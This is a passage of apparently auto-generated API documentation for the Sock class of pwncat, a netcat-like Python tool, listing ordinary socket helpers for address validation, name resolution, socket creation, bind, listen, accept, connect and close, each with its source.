                socket.inet_pton(socket.AF_INET6, host)
                return True
            except socket.error:
                return False

        # [2/4] optional module: ipaddress
        try:
            addr = unicode(host)  # type: ignore
        except NameError:
            addr = host
        try:
            try:
                ipaddress.IPv6Address(addr)
                return True
            except ipaddress.AddressValueError:
                return False
        except NameError:
            pass

        # [3/4] regex
        # This is a poor mans solution, but we only want to know if it
        # is on the format of IPv6 and not if it is a valid IPv6. The
        # validation will be figured out during connect()
        reg = r"^([a-f0-9]{0,4}:){5}[a-f0-9]{0,4}$"
        if re.match(reg, host):
            return True

        # [4/4] Nope
        return False

    @staticmethod
    def is_ipv4_address(host):
        # type: (str) -> bool
        """Check if a given str is a valid IPv4 address."""
        # [1/5] socket.inet_aton
        if hasattr(socket, "inet_aton"):
            try:
                socket.inet_aton(host)
                return True
            except socket.error:
                return False

        # [2/5] socket.inet_pton
        if hasattr(socket, "inet_pton"):
            try:
                socket.inet_pton(socket.AF_INET, host)
                return True
            except socket.error:
                return False

        # [3/5] optional module: ipaddress
        try:
            addr = unicode(host)  # type: ignore
        except NameError:
            addr = host
        try:
            try:
                ipaddress.IPv4Address(addr)
                return True
            except ipaddress.AddressValueError:
                return False
        except NameError:
            pass

        # [4/5] regex
        # This is a poor mans solution, but we only want to know if it
        # is on the format of IPv4 and not if it is a valid IPv4. The
        # validation will be figured out during connect()
        reg = r"^([0-9]{1,3}\.){3}[0-9]{1,3}$"
        if re.match(reg, host):
            return True

        # [5/5] Nope
        return False

    # --------------------------------------------------------------------------
    # Get functions
    # --------------------------------------------------------------------------
    def get_iptos_by_name(self, name):
        # type: (str) -> int
        """Get IP Type of Service hexadecimal value by name."""
        assert name in self.__IP_TOS
        return self.__IP_TOS[name]

    def get_family_name(self, family):
        # type: (Union[socket.AddressFamily, int]) -> str
        """Returns human readable name of given address family as str."""
        try:
            return self.__AF_HUMAN[int(family)]
        except KeyError:
            self.__log.error(
                "Invalid key for address family: %s (type: %s) (valid: %s)",
                repr(family),
                repr(type(family)),
                repr(self.__AF_HUMAN),
            )
            return "unknown"

    def get_type_name(self, sock_type):
        # type: (int) -> str
        """Returns human readable name of given socket type as str."""
        try:
            return self.__ST_HUMAN[int(sock_type)]
        except KeyError:
            self.__log.error(
                "Invalid key for address sock_type: %s (type: %s) (valid: %s)",
                repr(sock_type),
                repr(type(sock_type)),
                repr(self.__ST_HUMAN),
            )
            return "unknown"

    def get_sock_opts(self, sock, opts):
        # type: (Sock, socket.socket, Optional[str]) -> List[str]
        """Debug logs configured socket options."""
        if opts is None:
            return []
        assert opts in ["all", "sock", "ipv4", "ipv6", "tcp"], "Value: {}".format(repr(opts))
        info = []
        for proto, optnames in self.__SOCK_OPTS.items():
            if opts == "all" or proto.lower() == opts:
                for optname in optnames:
                    if proto.lower() == "sock":
                        level = socket.SOL_SOCKET
                    elif proto.lower() == "ipv4":
                        level = socket.IPPROTO_IP
                    elif proto.lower() == "ipv6":
                        level = socket.IPPROTO_IPV6
                    elif proto.lower() == "tcp":
                        level = socket.IPPROTO_TCP
                    try:
                        info.append(
                            "{}: {}: {}".format(
                                proto,
                                optname,
                                sock.getsockopt(
                                    level, eval("socket." + optname)  # pylint: disable=eval-used
                                ),
                            )
                        )
                    except AttributeError:
                        pass
                    except (OSError, socket.error):
                        pass
        return info

    def gethostbyname(self, host, family, resolvedns):
        # type: (Sock, Optional[str], Union[socket.AddressFamily, int], bool) -> str
        """Translate hostname into a IP address for a given address family.

        Args:
            host (str): The hostname to resolvea.
            family (socket.family): IPv4 or IPv6 family

        Returns:
            str: Numeric IP address.

        Raises:
            socket.gaierror: If hostname cannot be resolved.
        """
        socktype = 0
        proto = 0
        flags = 0
        port = None
        family = int(family)

        # [1/4] Wildcard without host
        if host is None:
            if family == int(socket.AF_INET):
                self.__log.debug("Resolving IPv4 name not required, using wildcard: 0.0.0.0")
                return "0.0.0.0"
            if family == int(socket.AF_INET6):
                self.__log.debug("Resolving IPv6 name not required, using wildcard: ::")
                return "::"
        assert host is not None

        # [2/4] Already an IP address
        if family == int(socket.AF_INET6):
            if Sock.is_ipv6_address(host):
                self.__log.debug("Resolving IPv6 name not required, already an IP: %s", host)
                return host
            # Map IPv4 address to IPv6
            host6 = "::ffff:" + host
            if Sock.is_ipv6_address(host6):
                self.__log.debug("Resolving IPv4 name not required, changing to IPv6: %s", host6)
                return host6
        elif family == int(socket.AF_INET):
            if Sock.is_ipv4_address(host):
                self.__log.debug("Resolving IPv4 host not required, already an IP: %s", host)
                return host

        # [3/4] Do we disable DNS resolution?
        if not resolvedns:
            flags = socket.AI_NUMERICHOST

        # [4/4] Resolve
        try:
            infos = socket.getaddrinfo(host, port, family, socktype, proto, flags)
            addr = str(infos[0][4][0])
            self.__log.debug("Resolved %s host: %s", self.get_family_name(family), addr)
            return addr
        except (AttributeError, socket.gaierror) as error:
            msg = "Resolving {} host: {} failed: {}".format(
                self.get_family_name(family), str(host), str(error)
            )
            self.__log.debug(msg)
            raise socket.gaierror(msg)  # type: ignore

    # --------------------------------------------------------------------------
    # Create functions
    # --------------------------------------------------------------------------
    def create_socket(self, family, sock_type, reuse_addr, ip_tos_name=None):
        # type: (Union[socket.AddressFamily, int], int, bool, Optional[str]) -> socket.socket
        """Create TCP or UDP socket.

        Args:
            family (socket.family): The address family for which to create the socket for.
            sock_type (int): The socket type: socket.SOCK_DGRAM or socket.SOCK_STREAM
            reuse_addr (bool): Set SO_REUSEADDR on the socket.
            ip_tos_name (str): Optional IP type of service value to apply to socket

        Returns:
            socket.socket: Returns TCP or UDP socket for the given address family.

        Raises:
            socket.error: If socket cannot be created.
        """
        assert int(sock_type) in [int(socket.SOCK_DGRAM), int(socket.SOCK_STREAM)]
        try:
            if int(sock_type) == int(socket.SOCK_DGRAM):
                self.__log.debug(
                    "Creating (family %d/%s, UDP) socket", int(family), self.get_family_name(family)
                )
                sock = socket.socket(family, socket.SOCK_DGRAM)
            else:
                self.__log.debug(
                    "Creating (family %d/%s, TCP) socket", int(family), self.get_family_name(family)
                )
                sock = socket.socket(family, socket.SOCK_STREAM)
        except socket.error as error:
            msg = "Creating (family {}/{}, {}) socket failed: {}".format(
                int(family), self.get_family_name(family), self.get_type_name(sock_type), error
            )
            self.__log.debug(msg)
            raise socket.error(msg)

        if family == socket.AF_INET6:
            # On Linux, IPv6 sockets accept IPv4 too by default, but this makes
            # it impossible to bind to both 0.0.0.0 in IPv4 and :: in IPv6.
            # On other systems, separate sockets *must* be used to listen for
            # both IPv4 and IPv6. For consistency, always disable IPv4 on our
            # IPv6 sockets and use a separate ipv4 socket when needed.
            #
            # Python 2.x on windows doesn't have IPPROTO_IPV6.
            if hasattr(socket, "IPPROTO_IPV6"):
                self.__log.debug(
                    "Disabling IPv4 support on %s socket", self.get_family_name(family)
                )
                sock.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 1)

        # Get around the "[Errno 98] Address already in use" error, if the socket is still in wait
        # we instruct it to reuse the address anyway.
        if reuse_addr:
            sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

        # If requested, set IP Type of Service value for current socket
        if ip_tos_name is not None:
            ip_tos_val = self.get_iptos_by_name(ip_tos_name)
            self.__log.debug("Setting IP_TOS to: %d (%s)", ip_tos_val, ip_tos_name)
            sock.setsockopt(socket.IPPROTO_IP, socket.IP_TOS, ip_tos_val)
        # All done, return it to the requestor
        return sock

    def bind(self, sock, addr, port):
        # type: (socket.socket, str, int) -> None
        """Bind the socket to an address.

        Args:
            sock (socket.socket): The socket to bind.
            addr (str): The numerical IP address to bind to.
            port (int): The port to bind to.

        Raises:
            socket.error if socket cannot be bound.
        """
        sock_family_name = self.get_family_name(sock.family)
        sock_type_name = self.get_type_name(sock.type)
        self.__log.debug(
            "Binding (family %d/%s, %s) socket to %s:%d",
            int(sock.family),
            sock_family_name,
            sock_type_name,
            addr,
            port,
        )
        try:
            sock.bind((addr, port))
        except (OverflowError, OSError, socket.gaierror, socket.error) as error:
            msg = "Binding (family {}/{}, {}) socket to {}:{} failed: {}".format(
                sock.family, sock_family_name, sock_type_name, addr, port, error
            )
            raise socket.error(msg)

    def listen(self, sock, backlog):
        # type: (socket.socket, int) -> None
        """Listen for connections made to the socket.

        Args:
            sock (socket.socket): The socket to listen on.
            backlog (int): Listen backlog

        Raises:
            socket.error: If listening fails.
        """
        try:
            self.__log.debug("Listening with backlog=%d", backlog)
            sock.listen(backlog)
        except socket.error as error:
            msg = "Listening failed: {}".format(error)
            self.__log.error(msg)
            raise socket.error(msg)

    def accept(
        self,
        sockets,  # type: List[socket.socket]
        has_quit,  # type: Callable[[], bool]
        select_timeout=0.01,  # type: float
    ):
        # type: (...) -> Tuple[socket.socket, Tuple[str, int]]
        """Accept a single connection from given list of sockets.

        Given sockets must be bound to an addr and listening for connections.

        Args:
            sock ([socket.socket]): List of sockets IPv4 and/or IPv6 to accept on.
            has_quit (Callable[[], bool]): A function that returns True if abort is requested.
            select_timeout (float): Timeout to poll sockets for connected clients.

        Returns:
            (socket.socket, str, int): Returns tuple of socket, address and port of client.

        Raises:
            socket.error: Raised if server cannot accept connection or stop signal is requested.
        """
        self.__log.debug("Waiting for TCP client")
        while True:
            try:
                ssockets = select.select(sockets, [], [], select_timeout)[
                    0
                ]  # type: List[socket.socket]
            except select.error as err:
                raise socket.error(err)
            if has_quit():
                raise socket.error("SOCK-QUIT signal ACK for accept(): raised socket.error()")
            for sock in ssockets:
                try:
                    conn, addr = sock.accept()
                except (socket.gaierror, socket.error) as error:
                    msg = "Accept failed: {}".format(error)
                    self.__log.error(msg)
                    raise socket.error(msg)
                self.__log.info(
                    "Client connected from %s:%d (family %d/%s, TCP)",
                    addr[0],
                    addr[1],
                    int(conn.family),
                    self.get_family_name(conn.family),
                )
                return conn, (addr[0], addr[1])

    def connect(
        self,
        sock,  # type: socket.socket
        addr,  # type: str
        port,  # type: int
        src_addr=None,  # type: Optional[str]
        src_port=None,  # type: Optional[int]
        udp_sconnect=False,  # type: bool
        udp_send_payload=b"",  # type: bytes
        udp_recv_bufsize=8192,  # type: int
        udp_recv_timeout=0.1,  # type: float
    ):
        # type: (...) -> Tuple[str, int]
        """Connect to a remote socket at given address and port.

        Args:
            sock (socket.socket): The socket to use for connecting/communication.
            addr (str): Numerical IP address of server to connect to.
            port (int): Port of server to connect to.

        Returns:
            Tuple[str,int]: Adress/port tuple of local bind of the client.

        Raises:
            socker.error: If client cannot connect to remote peer or custom bind did not succeed.
        """
        try:
            # If the socket was already closed elsewhere, it won't have family or type anymore
            sock_family_name = self.get_family_name(sock.family)
            sock_type_name = self.get_type_name(sock.type)
        except AttributeError as error:
            raise socket.error(error)

        # Bind to a custom addr/port
        if src_addr is not None and src_port is not None:
            try:
                self.__log.debug("Binding specifically to %s:%d", src_addr, src_port)
                self.bind(sock, src_addr, src_port)
            except socket.error as error:
                raise socket.error(error)
        try:
            self.__log.debug(
                "Connecting to %s:%d (family %d/%s, %s)",
                addr,
                port,
                int(sock.family),
                sock_family_name,
                sock_type_name,
            )

            # Ensure to use connect() protocol independent
            info = socket.getaddrinfo(addr, port, sock.family, sock.type, sock.proto)
            sock.connect(info[0][4])

            # UDP stateful connect
            # A UDP client doesn't know if the connect() was successful, so the trick
            # is to send an empty packet and see if an exception is triggered during
            # receive or simply a timeout (which means success).
            if udp_sconnect and int(sock.type) == int(socket.SOCK_DGRAM):
                assert type(udp_send_payload) is bytes
                assert type(udp_recv_bufsize) is int
                # Some applications like netcat do not like to receive empty
                # data, as they treat it as an EOF and will quit upon receive,
                # so we're using a nullbyte character instead.
                self.__log.debug(
                    "Trying to send %d bytes (%s) for UDP stateful connect",
                    len(udp_send_payload),
                    repr(udp_send_payload),
                )
                sock.send(udp_send_payload)
                sock.settimeout(udp_recv_timeout)
                try:
                    sock.recv(udp_recv_bufsize)
                except socket.timeout:
                    pass
                finally:
                    sock.settimeout(0)

        except (OSError, socket.error) as error:
            msg = "Connecting to {}:{} (family {}/{}, {}) failed: {}".format(
                addr,
                port,
                sock.family,
                sock_family_name,
                sock_type_name,
                error,
            )
            raise socket.error(msg)

        local = sock.getsockname()
        self.__log.debug(
            "Connected from %s:%d",
            local[0],
            local[1],
        )
        self.__log.info(
            "Connected to %s:%d (family %d/%s, %s)",
            addr,
            port,
            int(sock.family),
            sock_family_name,
            sock_type_name,
        )
        return (local[0], local[1])

    # --------------------------------------------------------------------------
    # Destroy functions
    # --------------------------------------------------------------------------
    def shutdown_recv(self, sock, name):
        # type: (socket.socket, str) -> None
        """Shuts down a socket for receiving data (only allow to send data).

        Args:
            name (str): Name of the socket used for logging purposes.
            sock (str): Socket to shutdown for receive.
        """
        try:
            # (SHUT_RD)   0 = Done receiving (disallows receiving)
            # (SHUT_WR)   1 = Done sending (disallows sending)
            # (SHUT_RDWR) 2 = Both
            self.__log.trace("Shutting down %s socket for receiving", name)  # type: ignore
            sock.shutdown(socket.SHUT_RD)
        except (OSError, socket.error):
            # We do not log errors here, as unconnected sockets cannot
            # be shutdown and we want to throw any socket at this function.
            pass

    def shutdown_send(self, sock, name):
        # type: (socket.socket, str) -> None
        """Shuts down a socket for sending data (only allow to receive data).

        Args:
            name (str): Name of the socket used for logging purposes.
            sock (str): Socket to shutdown for send.
        """
        try:
            # (SHUT_RD)   0 = Done receiving (disallows receiving)
            # (SHUT_WR)   1 = Done sending (disallows sending)
            # (SHUT_RDWR) 2 = Both
            self.__log.trace("Shutting down %s socket for sending", name)  # type: ignore
            sock.shutdown(socket.SHUT_WR)
        except (OSError, socket.error):
            # We do not log errors here, as unconnected sockets cannot
            # be shutdown and we want to throw any socket at this function.
            pass

    def close(self, sock, name):  # pylint: disable=unused-argument,no-self-use
        # type: (socket.socket, str) -> None
        """Shuts down and closes a socket.

        Args:
            sock (socket.socket): Socket to shutdown and close.
            name (str): Name of the socket used for logging purposes.
        """
        # NOTE: Logging is removed here as this is too much overhead when using
        # the port scanner (it will have thousands of threads and too many
        # calls to the logger which will cause issues with its shutdown
        # and a massive performance degrade as well.
        try:
            # (SHUT_RD)   0 = Done receiving (disallows receiving)
            # (SHUT_WR)   1 = Done sending (disallows sending)
            # (SHUT_RDWR) 2 = Both
            # self.__log.trace("Shutting down %s socket", name)  # type: ignore
            sock.shutdown(socket.SHUT_RDWR)
        except (OSError, socket.error):
            # We do not log errors here, as unconnected sockets cannot
            # be shutdown and we want to throw any socket at this function.
            pass
        try:
            # self.__log.trace("Closing %s socket", name)  # type: ignore
            sock.close()
        except (OSError, socket.error):
            pass
            # self.__log.trace("Could not close %s socket: %s", name, error)  # type: ignore

Ancestors

  • pwncat.SingletonMeta

Static methods

def is_ipv4_address(host)

Check if a given str is a valid IPv4 address.

Expand source code 
@staticmethod
def is_ipv4_address(host):
    # type: (str) -> bool
    """Check if a given str is a valid IPv4 address."""
    # [1/5] socket.inet_aton
    if hasattr(socket, "inet_aton"):
        try:
            socket.inet_aton(host)
            return True
        except socket.error:
            return False

    # [2/5] socket.inet_pton
    if hasattr(socket, "inet_pton"):
        try:
            socket.inet_pton(socket.AF_INET, host)
            return True
        except socket.error:
            return False

    # [3/5] optional module: ipaddress
    try:
        addr = unicode(host)  # type: ignore
    except NameError:
        addr = host
    try:
        try:
            ipaddress.IPv4Address(addr)
            return True
        except ipaddress.AddressValueError:
            return False
    except NameError:
        pass

    # [4/5] regex
    # This is a poor mans solution, but we only want to know if it
    # is on the format of IPv4 and not if it is a valid IPv4. The
    # validation will be figured out during connect()
    reg = r"^([0-9]{1,3}\.){3}[0-9]{1,3}$"
    if re.match(reg, host):
        return True

    # [5/5] Nope
    return False
def is_ipv6_address(host)

Check if a given str is a valid IPv6 address.

Expand source code 
@staticmethod
def is_ipv6_address(host):
    # type: (str) -> bool
    """Check if a given str is a valid IPv6 address."""
    # TODO: check for link-local addresses (start with: fe80)
    # https://stackoverflow.com/questions/3801701

    # [1/4] socket.inet_pton
    if hasattr(socket, "inet_pton"):
        try:
            socket.inet_pton(socket.AF_INET6, host)
            return True
        except socket.error:
            return False

    # [2/4] optional module: ipaddress
    try:
        addr = unicode(host)  # type: ignore
    except NameError:
        addr = host
    try:
        try:
            ipaddress.IPv6Address(addr)
            return True
        except ipaddress.AddressValueError:
            return False
    except NameError:
        pass

    # [3/4] regex
    # This is a poor mans solution, but we only want to know if it
    # is on the format of IPv6 and not if it is a valid IPv6. The
    # validation will be figured out during connect()
    reg = r"^([a-f0-9]{0,4}:){5}[a-f0-9]{0,4}$"
    if re.match(reg, host):
        return True

    # [4/4] Nope
    return False

Methods

def accept(self, sockets, has_quit, select_timeout=0.01)

Accept a single connection from given list of sockets.

Given sockets must be bound to an addr and listening for connections.

Args

sock : [socket.socket]
List of sockets IPv4 and/or IPv6 to accept on.
has_quit : Callable[[], bool]
A function that returns True if abort is requested.
select_timeout : float
Timeout to poll sockets for connected clients.

Returns

(socket.socket, str, int): Returns tuple of socket, address and port of client.

Raises

socket.error
Raised if server cannot accept connection or stop signal is requested.
Expand source code 
def accept(
    self,
    sockets,  # type: List[socket.socket]
    has_quit,  # type: Callable[[], bool]
    select_timeout=0.01,  # type: float
):
    # type: (...) -> Tuple[socket.socket, Tuple[str, int]]
    """Accept a single connection from given list of sockets.

    Given sockets must be bound to an addr and listening for connections.

    Args:
        sock ([socket.socket]): List of sockets IPv4 and/or IPv6 to accept on.
        has_quit (Callable[[], bool]): A function that returns True if abort is requested.
        select_timeout (float): Timeout to poll sockets for connected clients.

    Returns:
        (socket.socket, str, int): Returns tuple of socket, address and port of client.

    Raises:
        socket.error: Raised if server cannot accept connection or stop signal is requested.
    """
    self.__log.debug("Waiting for TCP client")
    while True:
        try:
            ssockets = select.select(sockets, [], [], select_timeout)[
                0
            ]  # type: List[socket.socket]
        except select.error as err:
            raise socket.error(err)
        if has_quit():
            raise socket.error("SOCK-QUIT signal ACK for accept(): raised socket.error()")
        for sock in ssockets:
            try:
                conn, addr = sock.accept()
            except (socket.gaierror, socket.error) as error:
                msg = "Accept failed: {}".format(error)
                self.__log.error(msg)
                raise socket.error(msg)
            self.__log.info(
                "Client connected from %s:%d (family %d/%s, TCP)",
                addr[0],
                addr[1],
                int(conn.family),
                self.get_family_name(conn.family),
            )
            return conn, (addr[0], addr[1])
def bind(self, sock, addr, port)

Bind the socket to an address.

Args

sock : socket.socket
The socket to bind.
addr : str
The numerical IP address to bind to.
port : int
The port to bind to.

Raises

socket.error if socket cannot be bound.

Expand source code 
def bind(self, sock, addr, port):
    # type: (socket.socket, str, int) -> None
    """Bind the socket to an address.

    Args:
        sock (socket.socket): The socket to bind.
        addr (str): The numerical IP address to bind to.
        port (int): The port to bind to.

    Raises:
        socket.error if socket cannot be bound.
    """
    sock_family_name = self.get_family_name(sock.family)
    sock_type_name = self.get_type_name(sock.type)
    self.__log.debug(
        "Binding (family %d/%s, %s) socket to %s:%d",
        int(sock.family),
        sock_family_name,
        sock_type_name,
        addr,
        port,
    )
    try:
        sock.bind((addr, port))
    except (OverflowError, OSError, socket.gaierror, socket.error) as error:
        msg = "Binding (family {}/{}, {}) socket to {}:{} failed: {}".format(
            sock.family, sock_family_name, sock_type_name, addr, port, error
        )
        raise socket.error(msg)
def close(self, sock, name)

Shuts down and closes a socket.

Args

sock : socket.socket
Socket to shutdown and close.
name : str
Name of the socket used for logging purposes.
Expand source code 
def close(self, sock, name):  # pylint: disable=unused-argument,no-self-use
    # type: (socket.socket, str) -> None
    """Shuts down and closes a socket.

    Args:
        sock (socket.socket): Socket to shutdown and close.
        name (str): Name of the socket used for logging purposes.
    """
    # NOTE: Logging is removed here as this is too much overhead when using
    # the port scanner (it will have thousands of threads and too many
    # calls to the logger which will cause issues with its shutdown
    # and a massive performance degrade as well.
    try:
        # (SHUT_RD)   0 = Done receiving (disallows receiving)
        # (SHUT_WR)   1 = Done sending (disallows sending)
        # (SHUT_RDWR) 2 = Both
        # self.__log.trace("Shutting down %s socket", name)  # type: ignore
        sock.shutdown(socket.SHUT_RDWR)
    except (OSError, socket.error):
        # We do not log errors here, as unconnected sockets cannot
        # be shutdown and we want to throw any socket at this function.
        pass
    try:
        # self.__log.trace("Closing %s socket", name)  # type: ignore
        sock.close()
    except (OSError, socket.error):
        pass
        # self.__log.trace("Could not close %s socket: %s", name, error)  # type: ignore
def connect(self, sock, addr, port, src_addr=None, src_port=None, udp_sconnect=False, udp_send_payload=b'', udp_recv_bufsize=8192, udp_recv_timeout=0.1)

Connect to a remote socket at given address and port.

Args

sock : socket.socket
The socket to use for connecting/communication.
addr : str
Numerical IP address of server to connect to.
port : int
Port of server to connect to.

Returns

Tuple[str,int]
Adress/port tuple of local bind of the client.

Raises

socker.error
If client cannot connect to remote peer or custom bind did not succeed.
Expand source code 
def connect(
    self,
    sock,  # type: socket.socket
    addr,  # type: str
    port,  # type: int
    src_addr=None,  # type: Optional[str]
    src_port=None,  # type: Optional[int]
    udp_sconnect=False,  # type: bool
    udp_send_payload=b"",  # type: bytes
    udp_recv_bufsize=8192,  # type: int
    udp_recv_timeout=0.1,  # type: float
):
    # type: (...) -> Tuple[str, int]
    """Connect to a remote socket at given address and port.

    Args:
        sock (socket.socket): The socket to use for connecting/communication.
        addr (str): Numerical IP address of server to connect to.
        port (int): Port of server to connect to.

    Returns:
        Tuple[str,int]: Adress/port tuple of local bind of the client.

    Raises:
        socker.error: If client cannot connect to remote peer or custom bind did not succeed.
    """
    try:
        # If the socket was already closed elsewhere, it won't have family or type anymore
        sock_family_name = self.get_family_name(sock.family)
        sock_type_name = self.get_type_name(sock.type)
    except AttributeError as error:
        raise socket.error(error)

    # Bind to a custom addr/port
    if src_addr is not None and src_port is not None:
        try:
            self.__log.debug("Binding specifically to %s:%d", src_addr, src_port)
            self.bind(sock, src_addr, src_port)
        except socket.error as error:
            raise socket.error(error)
    try:
        self.__log.debug(
            "Connecting to %s:%d (family %d/%s, %s)",
            addr,
            port,
            int(sock.family),
            sock_family_name,
            sock_type_name,
        )

        # Ensure to use connect() protocol independent
        info = socket.getaddrinfo(addr, port, sock.family, sock.type, sock.proto)
        sock.connect(info[0][4])

        # UDP stateful connect
        # A UDP client doesn't know if the connect() was successful, so the trick
        # is to send an empty packet and see if an exception is triggered during
        # receive or simply a timeout (which means success).
        if udp_sconnect and int(sock.type) == int(socket.SOCK_DGRAM):
            assert type(udp_send_payload) is bytes
            assert type(udp_recv_bufsize) is int
            # Some applications like netcat do not like to receive empty
            # data, as they treat it as an EOF and will quit upon receive,
            # so we're using a nullbyte character instead.
            self.__log.debug(
                "Trying to send %d bytes (%s) for UDP stateful connect",
                len(udp_send_payload),
                repr(udp_send_payload),
            )
            sock.send(udp_send_payload)
            sock.settimeout(udp_recv_timeout)
            try:
                sock.recv(udp_recv_bufsize)
            except socket.timeout:
                pass
            finally:
                sock.settimeout(0)

    except (OSError, socket.error) as error:
        msg = "Connecting to {}:{} (family {}/{}, {}) failed: {}".format(
            addr,
            port,
            sock.family,
            sock_family_name,
            sock_type_name,
            error,
        )
        raise socket.error(msg)

    local = sock.getsockname()
    self.__log.debug(
        "Connected from %s:%d",
        local[0],
        local[1],
    )
    self.__log.info(
        "Connected to %s:%d (family %d/%s, %s)",
        addr,
        port,
        int(sock.family),
        sock_family_name,
        sock_type_name,
    )
    return (local[0], local[1])
def create_socket(self, family, sock_type, reuse_addr, ip_tos_name=None)

Create TCP or UDP socket.

Args

family : socket.family
The address family for which to create the socket for.
sock_type : int
The socket type: socket.SOCK_DGRAM or socket.SOCK_STREAM
reuse_addr : bool
Set SO_REUSEADDR on the socket.
ip_tos_name : str
Optional IP type of service value to apply to socket

Returns

socket.socket
Returns TCP or UDP socket for the given address family.

Raises

socket.error
If socket cannot be created.
Expand source code 
def create_socket(self, family, sock_type, reuse_addr, ip_tos_name=None):
    # type: (Union[socket.AddressFamily, int], int, bool, Optional[str]) -> socket.socket
    """Create TCP or UDP socket.

    Args:
        family (socket.family): The address family for which to create the socket for.
        sock_type (int): The socket type: socket.SOCK_DGRAM or socket.SOCK_STREAM
        reuse_addr (bool): Set SO_REUSEADDR on the socket.
        ip_tos_name (str): Optional IP type of service value to apply to socket

    Returns:
        socket.socket: Returns TCP or UDP socket for the given address family.

    Raises:
        socket.error: If socket cannot be created.
    """
    assert int(sock_type) in [int(socket.SOCK_DGRAM), int(socket.SOCK_STREAM)]
    try:
        if int(sock_type) == int(socket.SOCK_DGRAM):
            self.__log.debug(
                "Creating (family %d/%s, UDP) socket", int(family), self.get_family_name(family)
            )
            sock = socket.socket(family, socket.SOCK_DGRAM)
        else:
            self.__log.debug(
                "Creating (family %d/%s, TCP) socket", int(family), self.get_family_name(family)
            )
            sock = socket.socket(family, socket.SOCK_STREAM)
    except socket.error as error:
        msg = "Creating (family {}/{}, {}) socket failed: {}".format(
            int(family), self.get_family_name(family), self.get_type_name(sock_type), error
        )
        self.__log.debug(msg)
        raise socket.error(msg)

    if family == socket.AF_INET6:
        # On Linux, IPv6 sockets accept IPv4 too by default, but this makes
        # it impossible to bind to both 0.0.0.0 in IPv4 and :: in IPv6.
        # On other systems, separate sockets *must* be used to listen for
        # both IPv4 and IPv6. For consistency, always disable IPv4 on our
        # IPv6 sockets and use a separate ipv4 socket when needed.
        #
        # Python 2.x on windows doesn't have IPPROTO_IPV6.
        if hasattr(socket, "IPPROTO_IPV6"):
            self.__log.debug(
                "Disabling IPv4 support on %s socket", self.get_family_name(family)
            )
            sock.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 1)

    # Get around the "[Errno 98] Address already in use" error, if the socket is still in wait
    # we instruct it to reuse the address anyway.
    if reuse_addr:
        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

    # If requested, set IP Type of Service value for current socket
    if ip_tos_name is not None:
        ip_tos_val = self.get_iptos_by_name(ip_tos_name)
        self.__log.debug("Setting IP_TOS to: %d (%s)", ip_tos_val, ip_tos_name)
        sock.setsockopt(socket.IPPROTO_IP, socket.IP_TOS, ip_tos_val)
    # All done, return it to the requestor
    return sock
def get_family_name(self, family)

Returns human readable name of given address family as str.

Expand source code 
def get_family_name(self, family):
    # type: (Union[socket.AddressFamily, int]) -> str
    """Returns human readable name of given address family as str."""
    try:
        return self.__AF_HUMAN[int(family)]
    except KeyError:
        self.__log.error(
            "Invalid key for address family: %s (type: %s) (valid: %s)",
            repr(family),
            repr(type(family)),
            repr(self.__AF_HUMAN),
        )
        return "unknown"
def get_iptos_by_name(self, name)

Get IP Type of Service hexadecimal value by name.

Expand source code 
def get_iptos_by_name(self, name):
    # type: (str) -> int
    """Get IP Type of Service hexadecimal value by name."""
    assert name in self.__IP_TOS
    return self.__IP_TOS[name]
def get_sock_opts(self, sock, opts)

Debug logs configured socket options.

Expand source code 
def get_sock_opts(self, sock, opts):
    # type: (Sock, socket.socket, Optional[str]) -> List[str]
    """Debug logs configured socket options."""
    if opts is None:
        return []
    assert opts in ["all", "sock", "ipv4", "ipv6", "tcp"], "Value: {}".format(repr(opts))
    info = []
    for proto, optnames in self.__SOCK_OPTS.items():
        if opts == "all" or proto.lower() == opts:
            for optname in optnames:
                if proto.lower() == "sock":
                    level = socket.SOL_SOCKET
                elif proto.lower() == "ipv4":
                    level = socket.IPPROTO_IP
                elif proto.lower() == "ipv6":
                    level = socket.IPPROTO_IPV6
                elif proto.lower() == "tcp":
                    level = socket.IPPROTO_TCP
                try:
                    info.append(
                        "{}: {}: {}".format(
                            proto,
                            optname,
                            sock.getsockopt(
                                level, eval("socket." + optname)  # pylint: disable=eval-used
                            ),
                        )
                    )
                except AttributeError:
                    pass
                except (OSError, socket.error):
                    pass
    return info
def get_type_name(self, sock_type)

Returns human readable name of given socket type as str.

Expand source code 
def get_type_name(self, sock_type):
    # type: (int) -> str
    """Returns human readable name of given socket type as str."""
    try:
        return self.__ST_HUMAN[int(sock_type)]
    except KeyError:
        self.__log.error(
            "Invalid key for address sock_type: %s (type: %s) (valid: %s)",
            repr(sock_type),
            repr(type(sock_type)),
            repr(self.__ST_HUMAN),
        )
        return "unknown"
def gethostbyname(self, host, family, resolvedns)

Translate hostname into a IP address for a given address family.

Args

host : str
The hostname to resolvea.
family : socket.family
IPv4 or IPv6 family

Returns

str
Numeric IP address.

Raises

socket.gaierror
If hostname cannot be resolved.
Expand source code 
def gethostbyname(self, host, family, resolvedns):
    # type: (Sock, Optional[str], Union[socket.AddressFamily, int], bool) -> str
    """Translate hostname into a IP address for a given address family.

    Args:
        host (str): The hostname to resolvea.
        family (socket.family): IPv4 or IPv6 family

    Returns:
        str: Numeric IP address.

    Raises:
        socket.gaierror: If hostname cannot be resolved.
    """
    socktype = 0
    proto = 0
    flags = 0
    port = None
    family = int(family)

    # [1/4] Wildcard without host
    if host is None:
        if family == int(socket.AF_INET):
            self.__log.debug("Resolving IPv4 name not required, using wildcard: 0.0.0.0")
            return "0.0.0.0"
        if family == int(socket.AF_INET6):
            self.__log.debug("Resolving IPv6 name not required, using wildcard: ::")
            return "::"
    assert host is not None

    # [2/4] Already an IP address
    if family == int(socket.AF_INET6):
        if Sock.is_ipv6_address(host):
            self.__log.debug("Resolving IPv6 name not required, already an IP: %s", host)
            return host
        # Map IPv4 address to IPv6
        host6 = "::ffff:" + host
        if Sock.is_ipv6_address(host6):
            self.__log.debug("Resolving IPv4 name not required, changing to IPv6: %s", host6)
            return host6
    elif family == int(socket.AF_INET):
        if Sock.is_ipv4_address(host):
            self.__log.debug("Resolving IPv4 host not required, already an IP: %s", host)
            return host

    # [3/4] Do we disable DNS resolution?
    if not resolvedns:
        flags = socket.AI_NUMERICHOST

    # [4/4] Resolve
    try:
        infos = socket.getaddrinfo(host, port, family, socktype, proto, flags)
        addr = str(infos[0][4][0])
